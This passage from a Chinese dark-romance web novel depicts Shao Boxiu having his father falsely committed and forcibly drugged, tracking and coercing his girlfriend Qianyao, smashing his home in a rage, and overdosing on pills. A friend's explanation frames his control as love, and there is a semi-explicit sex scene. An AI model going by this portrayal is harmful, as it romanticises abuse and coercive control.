“怎么会呢?医院的诊断书都出来了,你有精神病,得好好治疗。”
邵柏修拿着那张单子,在他眼前晃了晃。
3443气血翻涌,“是你、是你操作的。”
他气得脸红脖子粗,指尖发白,指着他在颤抖。
一双眼睛瞪得极其大,里头的恨意要将邵柏修生吞活剥了。
他笑得无辜,“白纸黑字写着呢,这不是我能决定的。”
“还要劳烦你,再多住些时日了。不过看你不愿意吃药,整日疯疯癫癫,病得不轻啊。”
“只怕下半生都得在这儿了。”
“邵、柏、修。我供你吃穿,精心培养你,你就是这么回报我的吗?!”
“你会遭报应的!”
他咬碎了牙,万万没想到邵柏修会给他设局。
邵柏修埋头一笑,“所以我是个知恩图报的人,前半生你养我,后半生我养你,”
“费用的事情你不用担心,我会一次性全付清。让你在这里,无忧无虑地活着。”
3443脑袋砸着枕头,仰头流泪,手腕被锁得发红。
他宁愿没有这个儿子。
“你这个疯子!疯子!”
3443猛然想到一个人,他停了下来。
他看向邵柏修,眼中流露出一丝期翼。
只有那个人在乎他,那个孩子向来很乖。
“你妹妹呢?”
“她怎么没来?”
邵柏修的脸霎时冷了下来,阴沉可怖。
“那孩子知道我在这儿吗?不对,不对,她一定不知道。不然她一定会过来的,她很乖很好。”
“她能救我,她会救我的......”
3443神志不清,一直在喃喃着这句话。
“你让她来见我!我要千瑶过来见我!”
“千瑶——”
邵柏修面无笑意,冷漠地看着他在床上嘶吼。
他走到桌子旁边,拿起托盘上的针筒。
打开药剂,针筒吸满了药水。
身后的人还在吵闹,一直吵嚷着叫千瑶。
邵柏修拿着针管,走到他旁边。
硕大的阴影覆盖而下,他弯起唇角,笑意不达眼底。
手头的针挤出空气,从针头飞溅的药水滴在3443脸上。
“你做什么?你做什么!邵柏修,你别过来——”
3443恐惧地看着他手头的针筒,一步步地向他靠近。
邵柏修皱眉,笑得肆意张狂,“到时间了,该打针了。”
“医生!护士呢?救命救命。”
“嘘——”邵柏修做了一个噤声的手势。
“再动就扎不准了。”
3443房门再次关闭。
院长透过门口的小窗看去,里头的人已经没动静了。
身旁的邹秘书递上免洗手消毒液,邵柏修慢条斯理地擦着手。
“3443用的药少了,你们医院都是怎么治的病?”
他没抬眼,言语中的压迫十足。
“这个、这个......”
邵柏修看他紧张的模样,骤然笑出声。
“话都说不好了?我没有怪责怪的意思,你这么紧张做什么。”
“医疗药品上你们就有欠缺,对病人的用药不足。”
邵柏修停顿了一下,莞尔一笑,“综合考量,给贵医院资助的医疗设备可能......”
“我们一定完善好药品,尤其是针对3443的用药,确保每天都有人盯着。”
院长出了一身冷汗,连忙说道。
生怕他撤了
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资助,不能因为那点小事得罪了他。
邵柏修点头,“如果病人不愿意,注射、吞服,应该都能做到。无论用什么手段,都是为了病人好,我们这些做家属的都能理解。”
院长连连点头,笑着目送他上车。
看到那辆车逐渐驶离视线,他身后的衬衫湿了一片。
千瑶连续打了好几个喷嚏。
她看着自己的文章,揉了揉眼睛,还在精修。
咚咚咚——
“进。”
千瑶抬眼,看到王妈端着托盘过来。
“小姐,这是刚刚炖好的鸡汤,趁热喝,补气血的。”
王妈是下午刚来的,邵柏修说他有时候急诊,夜里不能回来。
工作忙的时候他没法儿照顾她,就让王妈来了。
她打开盖子,一小盅的鸡汤很香。
“谢谢王妈。”
王妈一笑,离开了书房。
千瑶最近也很忙,一来是她的书准备完结了。
二来她之前的书被出版公司看中打算影视化,编辑问她愿不愿意和演员见面,商讨一些细节。
她不假思索地应下了,过两天后去国贸大厦见面。
邵柏修回来的时候已经是凌晨时分,看到书房的灯还在亮着。
推开门,见到电脑桌前一个毛茸茸的脑袋。
看不见脸,身子趴在桌上。
邵柏修走近,见到电脑上的最新章才两千多字,她写到一半睡着了。
她穿得单薄的睡衣,他微皱眉头。
将她从椅子上抱起,怀中人没有任何反应,脑袋往他身上蹭了蹭。
右边脸被键盘压出了两道红印子,睡得特别深。
邵柏修把她放在床上,动作轻柔。
手撑在她的两侧,仔细地端详着她,眼神中的占有欲十足,就像在看一样专属物。
手指撩过她的发丝,指腹顺着她的眉骨往下。
抚摸两道红色的红印,薄凉的唇就覆了上去,在她脸上盖下一吻。
邵柏修没在她这里呆太久,回房间洗了个冷水澡。
浑身的湿热,玻璃的雾气朦胧,镜中的男人撑着手。
指骨蜷缩,冷水顺着头顶而下。仰头时的脖颈水珠滑落,一路蜿蜒而下的那点内心深处的悸动,烧得他火热。
外边阴雨连绵,雷声轰鸣。
雨声淅淅沥沥,雨打树叶。
闪电的亮光穿过窗台,照在他隐忍的俊朗面容。
手臂微屈,仰头喘息。
许久,他从浴室里出来了。
浑身湿漉漉,披了件白色浴袍,松松垮垮。
叩叩——
邵柏修毛巾擦头发,雷声掩盖住了这点细微的声响。
叩叩叩——
房门再次响起敲门声,比之前更响。
邵柏修打开门,千瑶站在门前。
千瑶见门打开了,入目就是一大片裸露的肌肤,沿着敞开的浴袍而下腹肌线条流畅。
她别过眼,耳尖稍红。
“那个......邵柏修,你还没睡啊。”
邵柏修看她站在外头,挑起笑意,“你有事找我?”
他让千瑶进来,让她坐在沙发上。
天空一声巨响,雷声仿佛要将天空劈碎。
外头的雨下得越来越大了。
千瑶其实已经睡着了,是雷声把她吵醒。
一下比一下还大,她睡不着了。
她害怕雷声。
她听到隔壁有声响,打开门见到邵柏修门缝底下有光亮。
千瑶知道他回来了。
邵柏修坐在她旁边,摸着她的手。
“晚上来找我有什么重要的事吗?千千?”
千瑶看着他,不好意思笑笑。
听着外头的雷声,她笑容一僵。
“我只是,进来和你......坐坐。”
12. 第12张照片
邵柏修看了眼时间,凌晨两点半。
“只是坐坐?”他挑眉。
千瑶顶着他的视线,手指不安地摩挲睡裙衣摆。
“我能不能今晚在这儿呆会儿,就这个沙发。”
她担心邵柏修不同意,补充了句:“我的动静很小,不会吵你的。”
“你不用在意我,我自己有毯子。”
邵柏修看着她的,忍不住笑了。
“宝宝,想和我睡觉就直接说,没必要这么拐弯抹角的。”
她看着邵柏修,脸颊蹭蹭地涨红。
千瑶尴尬得不知所措,她难道要说因为害怕打雷,大半夜来他屋里找他聊天。
关键还是尬聊。
还有她真没那么明显吧。
邵柏修抱起她,千瑶一惊,“你做什么?”
她被放在床上,额头与他相抵,能清晰地看见他的长睫。
邵柏修微敞开的胸膛水滴还在流,滴在她的手上。
“我们好久没有接吻了,宝宝。”
他的吻很热烈,吻在她的额头,吻过眉眼。
手捧着她的下颌,让她张开唇。
“唔”
浴袍微敞开,喉结滚动。
她手指无意抵在邵柏修的脖颈间,按上了他的喉结。
邵柏修闷哼。
灼热仿佛从指尖传上全身,她的腰被他轻易搂住。
探入她的衣摆间,掐着她的腰。
“别弄了。”
千瑶就像被人牵引着,看到他眼底的情.欲灼灼。
咔哒——
邵柏修按下灯。
房间顿时一片漆黑,只剩下窗台反射的闪电光亮。
他吻得炙热,轻微的喘息在她的耳边。
雷声轰然再响,她心上一颤,让邵柏修开灯。
“太黑了。”
雷声还在持续着,风雨交加的夜无法平静。
“抱着我,我在这儿,别怕。”他轻声安抚着,在她耳边道。
千瑶抱着他精壮的腰,肌肉的线条十分好看,汗水顺着腰线往下。
浴袍滚落,强有力的臂膀将她的手推至头顶。
他一只手可以轻松攥住手腕。
脖颈落下的一个个吻痕,犹如绽放的红梅。
千瑶眉眼染上动人情态,朦胧之间的看不见他的脸,喘息的声音交叠。
他的吻湿湿热热,咬着她的唇珠,一点点地碾过每一处敏感。
邵柏修声音暗哑,在黑暗之中听着格外清晰。
“好喜欢和你接吻,以后都来我这里睡好不好?”
千瑶浑身战粟,指尖流连的地方,她咬着唇没有发出声音。
她想要往旁边缩,越缩越来到床的边缘。
冰凉的手扣着的腰拉近彼此的距离,没听到她的回复,邵柏修不愉。
男人浑身肌肉压在她身上,黑夜中俯视着她的眼神滚烫。
千瑶的耳边再次传来轻微的喘息声,手上的动作不停地引导着她,让她摸着他的脊背。
她的锁骨间的被人轻咬,灼热的气息喷薄在雪白的肌肤上。
“你别这样......好奇怪。”
千瑶收紧腿,腿间骤然被膝盖顶开,倾身而下。
香肩散着长发,指缝穿过发丝。
男人按着她的手下陷。
千瑶轻轻喘息,已经让她无法思考。发烫的脸贴着男人的下颌,他咬到了某处,她不由自主地发出呻.吟。
倏然之间,她捂着唇。
脑海中就像有一根弦崩断,全然不受控。
这样的声音她不会发出来,让人羞耻。
昏暗的夜色中,邵柏修捧着她的脸,拿开她捂唇的手。
他浑身血液几乎在沸腾,黑暗的视线晦涩。
他咬着她的耳垂,浅浅的吐息。
她很敏感地缩了缩脖子,一碰就浑身发麻。
“还没回答呢?说话,宝宝。”
千瑶抿唇,心里跳得特别快。
她抓着邵柏修的手臂,让他停下。
“......好。”
千瑶眼尾被润湿,刚刚说话的声线都在颤抖。
“邵柏修,我困了,要睡觉。”
他没有再继续下去,温柔地吻了她的额头。
环抱着她的腰,让她睡在怀里。
薄雾清晨,下过一夜的雨。
空气清新,花园的花草被雨水沁润过,沁人心脾。
千瑶醒来,没摸到身边的人。
被褥是冷的,邵柏修离开了。
她坐起来,脑袋懵懵的,缓慢开机中。
千瑶猛地想起今天要干的事,看了眼时间,还没到下午。
她今天约好了和演员见面,要一起围读原著的。
她急忙地洗漱好,吃了口饭,让赵叔载她去国贸大厦。
去到国贸大厦,电梯直上101楼。
刚出电梯,很多人在忙手头上的工作。
前台的小姐姐见到来人,主动上前问:“您好,是千瑶老师吗?”
千瑶点头,她被人领到一间休息室。
这间休息室很大,高大的落地窗外车水马龙。
陈设简约而不失庄重,墙上的挂钟水滴样式,很有设计感。
这里的主人应该特别严谨,有条不紊。
休息室的门打开,千瑶扭头,见到一个英俊的男人进来。
他眉骨深邃,鼻梁高挺。
头发往后梳,仅剩些细碎的刘海垂下。
他看人的眼神自带深情,白色的西装衬得他温文尔雅。
“你好千瑶老师,很抱歉刚刚有个代言来得晚了。”
应斯年给她倒了杯热茶,颇为抱歉。
“我是应斯年。”
“您好,应老师。”
千瑶表示能理解,她坐在他面前,往门口看去。
“还有其他人吗?”
应斯年笑了笑,也是无奈,“原本是我们一起和您看剧本的,但是女主临时国外有红毯,暂时不能来了。”
千瑶点头,“那咱们现在开始吧。”
应斯年拿出剧本和原著书,他之前都看完了,还对一些地方做了自己的理解。
他在娱乐圈打拼七年,但一直不温不火。
他一直很热爱演员事业,对待自己的工作一向认真。
时间过得很快,夜幕降临,窗外车水马龙,灯光亮起。
宛若一条流动的金河,美不胜收。
千瑶一抬头,都忘记了时间。
她和应斯年聊得很投机,甚至是让人相见恨晚。
她喜欢的是自己笔下所写的东西,能够真正让人产生共鸣。
应斯年也是她的读者,能理解她笔下人物的抉择和行为动机。
“应老师,这个角色真的很合适你,我觉得你能演好他。”
“谢谢,能得到原著大大的肯定,我很荣幸。”
应斯年看了眼时间,他主动邀请她去大厦旁边的餐厅用餐。
千瑶很乐意,她还想和他再多聊会儿。
她给赵叔发了条消息,让他不用再等她了。<
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p>她让赵叔等了这么久,也很不好意思,让他提前下班回去吃饭。
另一边。
晚上九点一刻。
邵柏修坐在沙发上,手中把玩打火机,嚓燃又按灭。
火光忽明忽暗间,神色不明。
“她去哪了?”
“千小姐从下午两点半出去,去了国贸大厦商谈小说影视化的事情。”王妈俯首汇报。
桌上的手机页面还在通讯录,号码都显示未接通。
他打了无数的电话,一个也没接。
千瑶以前从来不会这么晚的,哪怕是和林木子逛街,下午六点也就回来了。
而现在——
一个电话也没有回他。
屋内的气氛僵至冰点。
车灯打入窗台,黑色宾利缓缓在车库内停下。
王妈看到,“一定是小姐回来了。”
可进来的人只有赵叔,他站在邵柏修前。
“邵总,小姐让我先回来了。”
邵柏修脸色阴沉,面色冷然。
眼中粹着寒冰,解开领口的领带。
“她现在还在国贸大厦?”
赵叔皱眉,“......不清楚。”
几十万的打火机砸在他脸上,赵叔一声不吭。
邵柏修拿着桌上手机,指尖在屏幕上滑动。
一个红色的原点上下跳跃,她还在国贸大厦周边。
邵柏修眼眸一冷,开车去找人。
“应老师,今天和你聊这些剧情,真的特别开心。”
“我也是,和你聊过后我觉得对角色的把握更透彻了,还有一些情感的表达,台词背后的意思很深刻。”
暖黄的灯光沐浴而下,就像珠光点在她的眉心。
她笑得开心,稍扬起眉梢。
“我想和你交个朋友,应老师可以吗?”
应斯年莞尔一笑,“荣幸之至,我们称呼彼此名字就行,叫老师有点生疏了。”
千瑶点头,她吃好了。
两人出到餐厅门外,冷风吹得凉飕飕。
她搂紧大衣,风还是从领口穿入。
京都秋天渐冷,寒夜萧瑟,大街上的灯光添上了些温情。
应斯年站在她旁边,比她高了整整一个头,她显得娇小。
他见千瑶一直环抱着手臂,手更是冷得发红。
千瑶忽地手被拉住,让她停了下来。
她扭头,脖颈上一暖,围着一个黑色的围巾。
她低头摸了摸,毛绒针织的,还带着体温的暖。
千瑶愣在了原地,看向他。
“围巾你先戴着,冷空气来袭,天越来越凉,注意保暖。”
应斯年很有礼节,帮她围好围巾后,再没别的动作。
她看着围巾,想解下来,可是他却制止住了。
“一条围巾而已,朋友的关心。”
千瑶看着他,笑得眼睛弯弯。
应斯年观察细致入微,对朋友特别好,她交这个朋友交对了。
“谢谢你应斯年,下次见面我再还给你。”
两人站在街灯下,长长的影子交叠在一起。
她笑意盈盈,围巾的温度裹着领口,她不是那么冷了。
千瑶扭头时,瞥见路口的拐角有一个熟悉的身影。
邵柏修站在风里,修长的腿微屈着。
他靠在车边,视线阴冷,就像浸入了冷水里。
浑身裹着寒霜,面无表情地注视着。
恰然与千瑶对视上。
那种眼神是她从未见过的。
13. 第13张照片
千瑶心上漏了一拍,攥着围巾的手紧了紧。
她不知道为什么,此刻有种无形的压迫感。
甚至是惧怕。
这一闪而过的情绪,是突如其来的。
应斯年没察觉到她的变化,“我得回公司一趟,还有工作没完成,先走了。”
“好,再见。”
千瑶反应过来,挥手告别。
应斯年走后,她见到邵柏修还在那个路口。
她小跑过去,风吹着她的头发,微微散乱。
她站在他面前,对他微笑,“邵柏修,你怎么来了。”
“他是谁?”
邵柏修视线停留在应斯年的背影上。
“你说应斯年,他是我的读者,也是这次改编的男主角。”
他笑了,“所以你这一个下午加晚上都跟他在一起。”
千瑶点头。
邵柏修压下心头的怒火,“我给你打了多少个电话?”
“为什么不接?”
“电话?”
她懵了。
“怕我影响你们?千瑶,到底谁才是你的男朋友?”
千瑶见他情绪逐渐有点失控,她僵在了原地。
“不是的。”
她拿出手机,按了几下,手机没电关机了。
“我手机没电了,不是故意不接你电话的。”她解释道。
千瑶焦急,她一时和人聊得投机,没时间看手机,连关机了都不知道。
她也不知道邵柏修在找她。
“和他聊这么开心,电话不接,信息不回。”
“你说你在谈工作,那已经谈完了,为什么还要和他继续待在一起?”
一连串的质问劈头盖脸的下来,让千瑶感觉到窒息。
邵柏修松开领口,摘下眼镜扔进车里。
看着她脖子上的黑色围巾碍眼极了,伸手解下。
“你做什么!”
邵柏修攥在手里,千瑶想去拿回来。他举得高,她垫脚也抢不到。
他看见旁边的一个垃圾桶,将这团碍眼的东西扔进去。
千瑶气死了,“你乱扔什么?这是人家的东西,我到时候要还回去的。”
她见到垃圾桶里还有一截围巾角漏出,她就要上前去拿出来。
结果腰被揽住,打横抱起。
将她塞入后座,直接被摔蒙了,下一瞬车门就锁了。
驾驶座上的邵柏修一踩油门,差点颠得她摔下。
“你不讲道理,邵柏修,你在生什么气?”
她不理解,他好好的就像变了个人。
“那个围巾我给你买,你想要多少条都有,我扔了你就这么着急?”
“他送的就宝贝成这个样子。”
千瑶觉得不可理喻,“我不是不回家,我只是和他谈完工作,一起吃了个饭。”
“那条围巾是他觉得我冷,暂时借给我的。”
“我和他只是朋友,你别误会了。”
车开得很快,她有些害怕,抓住了一旁的把手。
千瑶看他沉默,路灯的光照在他冰冷的下颌线,嘴唇抿成一条线。
邵柏修手打着方向盘,手腕还戴着她上回买的腕表。
沉默在车内蔓延,气氛降到了冰点。
等到了家,车门解锁。
千瑶打开车门,走得特别快。
冲上了房间,砰——一声关上门。
她越想越气,越想越气。
她又没有错,是邵柏修过分了,他自己误会了,还对她发火。
千瑶给手机充电,拿来自己的行李箱。
将衣柜里的衣服全部塞进去,桌上的护肤品一扫而空。
瓶瓶罐罐的,顾不上什么分类。
手机充好电后,划开就是二十多通电话,全都来自邵柏修。
微信消息轰炸,全是在问她在哪里,做什么,跟谁在一起。
千瑶想起他刚刚无理的行为,简直跟疯了没两样。
她提起行李箱就要走,下楼后,王妈着急地看着她,“小姐你去哪儿?”
邵柏修坐在沙发上,看着她的举动。
视线盯着她手头的行李箱,没说一句话。
千瑶忽视他的视线,对王妈说:“去看不到他的地方。”
邵柏修手臂绷紧了,眼神阴沉。
她打开门,没有回头。
“先生,先生,这,太晚了小姐一个人出去,她......”
邵柏修闭上眼,心中的暴虐烈火焚烧,看着她消失在眼帘。
拿起手边的杯子,砸在地上,碎裂成渣。
“行了,王妈你也走吧。”
王妈看着地上的碎片,骇然一震。
她也不多留,直接离开了。
忽地,手机跳出一条消息。
【林木子:她在我这里。】
邵柏修扫了一眼,拿起手机也扔进鱼缸里。
手机在水里下沉。
他站起,目光停留在电视机旁的棒球棍上。
抄起棒球棍,暴虐的情绪翻涌。
一棍下去将电视机砸得稀巴烂,长木桌砸了个窟窿。
解开了自己的衣领,崩坏了领口的袖子。
砰——
玻璃崩碎,鱼缸的水簌簌直流,飞溅的玻璃割伤了他的眼尾。
血从邵柏修的眼尾流下,一条血线缓慢下滑,逐渐红了半张俊脸。
他笑得癫狂,拖着棒球棍。
棒球棍在地上发出咯吱的声音。
邵柏修歪着头,看着这些东西。
相框全摔了。
酒柜里上千万的酒顷刻间砸得粉碎,红色的酒液在大理石地面流淌。
宛若一滩滩血。
目之所及,皆是狼藉。
能看到一切,都砸得七零八碎。
没有一个是完好的。
手上被玻璃扎得鲜血直流,他握着棒球棍,棍上都是血。
眼睛宛若崩裂,捡起他和千瑶的合照。
邵柏修抚摸着那张照片,他笑得温柔,她也是笑得满眼都是他。
他将照片捂在胸口,笑得诡异而抽搐。
直直地倒在地上,周围就是锋利的玻璃,他就像没有知觉。
抱着它,就像在抱着她。
邵柏修手在不停颤抖,从口袋里缓慢得拿出了一瓶药。
直接倒在手心,也没数。
没有兑水,一口咽了下去。
他微笑地闭上眼,昏睡了过去。
-
“骆总,这,开不了。”
“把门砸了。”
门被砸开,骆远见到客厅地面躺着一个人。
地上一片狼藉,碎片到处都是。
邵柏修浑身都是血,手边的药瓶滚落。
一只手覆在胸前的照片上。
“我去,要死啊。”
骆远看向身后,“赶紧赶紧,医生——”
等到邵柏修醒来的时候,已经在房间了。
骆远在沙发上玩手机,正打得火热,与对面那厮对骂。
他察觉床上有动静,瞥了一眼。
“哟,没死啊。”
“你怎么在这儿?”
骆远一个不小心,放错技能直接gameover。
他叹了口气,放下手机。
邵柏修的眼神冷漠,手上被缠了绷带,眉骨处贴了个创口贴。
“你以为我想来,要不是签约联系不到你,我才懒得上门。”
“一开门你就给我个惊喜,知不知道照顾我这个幼小的心灵。”
他捂着胸口,“很受伤的。”
邵柏修打开手机,她没有给他发任何消息。
他垂了垂眼眸,有些黯淡。
“你跟她......吵架了?”
“不过千千这个性子,一般和她吵不起来吧,你对人家做了什么?”
邵柏修冷冷地看了他一眼,骆远撇了撇嘴。
“虽然我知道是你们两人的事,但是我还是要劝你一句,别把人家逼太急了。”
“会吓到她的,循序渐进。”
骆远双手交叠,枕着脑袋,“我竟然不知道你对千千是这个心思,有意思。”
骆远
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扭头冲他一笑,“我不赞同你的很多做法,不过能把握到手里的,就牢牢掌握住。”
“我的意思是,千万别让她跑了。”
“她跑不了。”
另一边。
千瑶愤恨地码字。
现在的情绪全都化作工作的动力,令人厌恶的反派,令人不爽的反派。
全部被捅刀。
捅捅捅。
捅死去!
林木子看着一旁敲键盘敲得跟电报似得,连连害怕。
“那个......”
“已拉黑邵柏修。”
好吧,她闭嘴。
等到晚上,千瑶喝了点小酒,抱着林木子不撒手。
“木子啊木子,你是我最好的朋友。”
她哭得鼻涕直流,抽了好多张纸,“只有你收留我......”
“呜呜呜......我就知道你不会见死不救的,邵柏修那个狗,给我滚!”
千瑶翻身而起,站得笔直,还打了个酒嗝。
忽然报幕:
“给主播点点关注,感谢姐姐的包养。接下来有请千瑶同学,为林木子女士表演扫腿舞。”
她伸出自己的腿,白皙修长。
扫啊扫,扫啊扫
“欸,行行行,别扫地了。”林木子扶额。
难以言喻地看着她表演,辣眼睛。
她以为这就完了。
直到——
凌晨时分。
“你问我爱你有多深,我爱你有几分......”
千瑶捧着话筒甜甜一笑,弯腰致谢。
一只手还拿着红酒,一口闷下。
“谢谢大家,来听我的演唱会。”
林木子捂着耳朵,她要爆炸了。
她从来没过千瑶能疯成这样。
这是喝了多少,平常的酒量就不好,现在喝了这么多。
林木子白天已经偷偷藏起了酒,不知道怎么的就被她找到了。
她也是服了。
“欸,这位粉丝,你有福了。”
千瑶朦胧的双眼直接锁定她。
“有福利哦。”
林木子顺着她,“什么福利,乖,先从桌上下来。”
“我会倒立洗头哦,我现在就给你表演。”千瑶眼睛亮了。
林木子晕。
千瑶这个症状只持续了一天。
第二天,她主动收拾好她弄乱的东西,乖巧得不像话。
林木子反倒觉得更不对劲了。
“木子,我觉得呢,人不一定要谈恋爱。斯坦尼夫斯拉基曾经说过,女人要独立自主,要财富自由。不要耽于情爱,失了自我。”
“什么垃圾?”
“斯坦尼夫斯拉基。”
“哦哦。”
千瑶抱着一本书,像幽灵一样,缓缓地走回了卧室。
房门关闭,林木子总算松了口气。
她没有酗酒,也没有大吵大闹,这会儿应该困了,自己会睡觉的。
忽地,从房间里传出轻微的哭泣声。
林木子原本要离开的脚顿时停住了,她悄悄地打开门,探了个脑袋。
窗帘被关得严严实实,室内一片漆黑,千瑶蜷缩在一个角落。
她环抱着膝盖,在默默地哭泣。
“怎么了?”
林木子心上一紧,环抱住她。
千瑶脑袋靠在她的肩头,头发遮住她的神情。
她委屈得不行,一直在流泪。
“都是他的错,他自己误会了......”
林木子心疼,“对,都是邵柏修的问题。不过你们到底发生了什么事情?”
千瑶带着哭腔,将事情的前因后果都跟她说了。
她越说越伤心,邵柏修太过分了。
她点开微信,上边都是他在追问。
还有电话,一连打了二十多个,正常人谁会这样。
林木子揉了揉她的脑袋,“千千,你们是情侣正常矛盾,吵个小架而已,我以为你们分手呢。”
“你说得对,我现在就要分手......”
14. 第14张照片
千瑶说完后,愤恨地拿出手机。
点开通讯录,准备向他拨打电话,她要结束这段关系。
还未拨过去,手机就被拿走了。
“你先别冲动。”
林木子拿走手机,对她说道。
“千千,根据你说的,我也知道你们的问题在哪儿了。你有没有尝试换位思考?”
“换位思考?”
林木子继续道:“你想想,如果你是邵柏修,本来今晚提早下班可以和女朋友一起吃完饭。”
“结果高兴地回到家,发现她和别的男人出去了。电话不接,消息也不回。”
千瑶代入了一下,心里感觉酸涩涩。
她心里一沉,没有刚才那般情绪过激,伤心难受。
“可是我手机没电了,我又不是故意的。”
林木子安抚地摸了摸她的头,“你的视角是这样的,可是在他的视角就完全不同。”
“他给你打了二十多个电话,说明他在乎你。”
千瑶皱眉,又给她看自己的聊天记录。
可邵柏修除了这样,还给一连串地给她发消息,直接消息轰炸。
“可是你看他都是在质问我,我真的感觉到他好像有点......”
她说不上来的压抑,还有那种窒息感。
“你是想说控制欲?”
千瑶点头,林木子说对了,她就是这样的感觉。
林木子笑了,“人肯定都有占有欲,更何况你还是他爱的人。他也会吃醋的。”
“我倒是觉得还好,说明他把你放在首位,他发了这么多消息,恰恰就是他关心在乎你的表现。”
“你本来之前就出了车祸,给他心里也留下了阴影。他看不到你就着急,他是真担心你出事。”
千瑶抿了抿唇,木子说得有点道理。
她也许不够理解邵柏修。
可他当时的语气和状态,就令人火大。而且还将应斯年的围巾扔了,她就是不高兴。
“我听你说他把别人的围巾扔了,但你有没有想过,他就是不想看到你戴着别的男人的围巾。”
“我们只是朋友,那天只是恰巧晚上刮风冷了,他借给我的。”
“你还是落入了一个怪圈,如果在邵柏修的视角,你怎么看?”
千瑶心底忽然生出一丝愧疚感,“......会吃醋。”
“对,还会嫉妒。”林木子双手环胸,点头赞同。
“他担心你这么晚没回来,还跟不认识的人出去,也难怪他会心情不好了。”
千瑶听着林木子的一番分析,她的火气渐渐地小了。
对于邵柏修,她有点理解他的做法。
“小姐,邵先生来了。”
林木子应了声,她等会儿出去。
而千瑶听到那三个字,攥着被単的手一紧。
浑身都紧张了起来,不过她心里没有之前对邵柏修那么抗拒。
林木子对她道:“你先在房间里,我去看看,你想见就见,不见我就让他走。”
千瑶看着房门关起,只有手机的光亮在黑暗中亮着。
她点开微信,置顶的还是邵柏修。
她看到黑名单里的那个名字,眼神犹豫几瞬,还是将他从黑名单里拉出来了。
千瑶见到聊天框里,蹦出了许多条消息。
不像之前那样咄咄逼人,他发来了很多关心她的话语。
【S:宝宝,是我错了,不该这样对你发火。】
【S:又下雨了,记得出门带伞,穿多点衣服。】
【S:我知道你这段时间不想见我,我不敢去打扰你,我在家里做了你喜欢的鱼汤,不过又只能是我一个人吃了。】
【S:我给你买了围巾,我不知道你喜欢哪种颜色,就都买了。】
【S:今天好冷,我真的好想你。】
......
她眼眶微红,鼻子一酸。
泪水砸在屏幕上,控制不住地往下流。
“千千,我能进来吗?”
屋外的声音让她心上一缩。
是邵柏修。
叩叩——
而后门把手转动,他推门进来。
邵柏修刚进门,就看见蜷缩在角落的千瑶。
她抱着手机在无声啜泣,整个人蔫蔫的。
他心软成一片,慢慢走近她。
邵柏修打开一盏桌上的下台灯,光线照在她垂落的发丝。
墨发遮住她微红的眼,她没有理邵柏修。
他走过去,将她揽抱入怀中,下颌抵在她的脑袋上。
她没有任何回抱的动作,也没有抗拒他的接触。
“宝宝,我诚恳地向你道歉。那天晚上我情绪不对,看到你和他在一起,一时过激了。”
他将她的头发撩至耳后,露出苍白的小脸。
她的眼睫上还挂着泪珠,眼尾哭得红红的。
黑眼圈浅淡,一看就是这些天没有睡好。
邵柏修继续哄道:“我着急了,想找到你,那天吓到你了,对不起。”
“我扔了他的围巾,不过我又买了几条,虽然不是同一个牌子的,到时候你再见到他,就赔给他。”
千瑶终于抬头看他,眼睛里又开始蓄满了泪水。
“我不是生气这个,我讨厌你误会我。”
邵柏修见她终于回应自己了,渐渐扬起微笑。
下颌蹭了蹭她的发丝,抱着她的手缩紧,指腹擦去她滑落的眼泪。
“他是我的读者,也是我的朋友,我喜欢和他聊文章的剧情、设定,而且那天我真的很开心。”
她觉得邵柏修无法理解自己对于小说的热爱,无法理解她的情绪。
“对不起,破坏你那天的心情了。”
千瑶的手被他握在手里,他轻声细语地道歉。
他的态度很诚恳,千瑶心间残存的火气也渐渐地浇灭了。
千瑶看向他,嘴唇动了动。
其实她也有问题,她当时也是情绪化地对邵柏修说了很多难听的话。
“邵柏修,下次我会及时回你的消息,出门主动跟你汇报行程,这次让你担心我了。”
“我也不想给你添麻烦的。”
千瑶主动回抱邵柏修,她这段时间也反思了很多。
加之林木子的那番话,邵柏修的敏感和担心不是没有原因的。
他是太在乎她了。
他是因为爱她才会这样的。
千瑶不会怪邵柏修,她原谅他了。
“宝宝,你从来都不是麻烦,别这么说。”
邵柏修从西装口袋里拿出一个礼物,递到她眼前。
“这是我准备了很久的,很早就想送给你。”
千瑶打开,眼睛瞬间亮了。
“阶梯?”
她嘴角的弧度逐渐上扬,这是一个精致的小型黄金阶梯。
在阶梯的周围是七彩祥云,就像两抹阶梯的翅膀。
很漂亮,拿在手里沉甸甸的,也很贵重。
“行江峰的晚霞阶梯。”
邵柏修看向千瑶,“你当时看到的那片晚霞很喜欢,我回去就在想怎么把晚霞送到你手里。”
“后来我实在没辙了,就做了这一件东西。”
“只有六七分相似,比那天的晚霞稍有逊色。”
千瑶看到上边是精心设计过的,每一条纹路都很精细,祥云层层叠叠。
让她想起了那天日落,晚霞橙光,云山浮海。
“谢谢你,邵柏修。”
邵柏修柔声
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道:“能不能不要生我气了?”
千瑶点头,她不生气了。
他弯起唇角,在她唇上盖下一吻。
他捧起她的脸,仔细端详着她,这些天千瑶都瘦了一圈,没睡好看着特别憔悴。
“宝宝,我们回家吧。”
邵柏修拉着千瑶出房门,客厅里遇上林木子。
“和好了?”
千瑶松开邵柏修的手,走到林木子面前。
她这些天疯了个彻底,给木子添了很大的麻烦。
她抱住林木子,诚心道歉,“好闺闺,对不起让你操心了。”
“嗯,看你表演了扫腿舞,还有倒立,我这张粉丝票挺值。”
千瑶说得直接脸红了,“咱们的小秘密。”
林木子给嘴巴缝了个拉链。
她将他们二人送到门口,千瑶先一步上车了。
林木子叫住邵柏修,“喂,对我的闺闺好点,再收留我可是要收费的,得加钱。”
邵柏修看向她,视线交汇。
“开个价,随便填。”
“邵先生真是爽快人。”
千瑶在车上,没一会儿便睡着了。
邵柏修看着副驾驶挨着的人儿,靠着窗睡得正香。
他摸了摸她的发丝,宠溺一笑。
回到家后,千瑶被邵柏修抱进房间。
她睡得昏天黑地,醒来已经是晚上了。
她睁眼,这里是邵柏修的房间。而她的行李箱,也放在门口旁边。
千瑶揉了揉眼睛,愣神了会儿。
忽地,眼睛瞟到床头柜的抽屉没关好,她从缝隙中瞥了眼。
她见到之前那部被砸烂的手机就在里头。
她还以为看错了,拉开抽屉,发现躺着两部手机。
其中被砸得不成样的手机就是她的,她一眼就认出了。
邵柏修之前说要扔了,怎么还在这儿放着。
而另一部,她拿在手里。
拇指按在电源键上,准备开机。
“你做什么呢?千千。”
邵柏修站在门口,直直地看着她。
他莞尔微笑,围裙还没有脱下,拿过她手中的手机。
连同那部被砸的手机,一同收到手里。
“你怎么还留着,不是扔了吗?”她问。
“当时从医院拿回来,一时忙就忘记了。”
“宝宝,今天我下厨,菜已经做好了,下去吃饭吧。”
千瑶一愣,“好。”
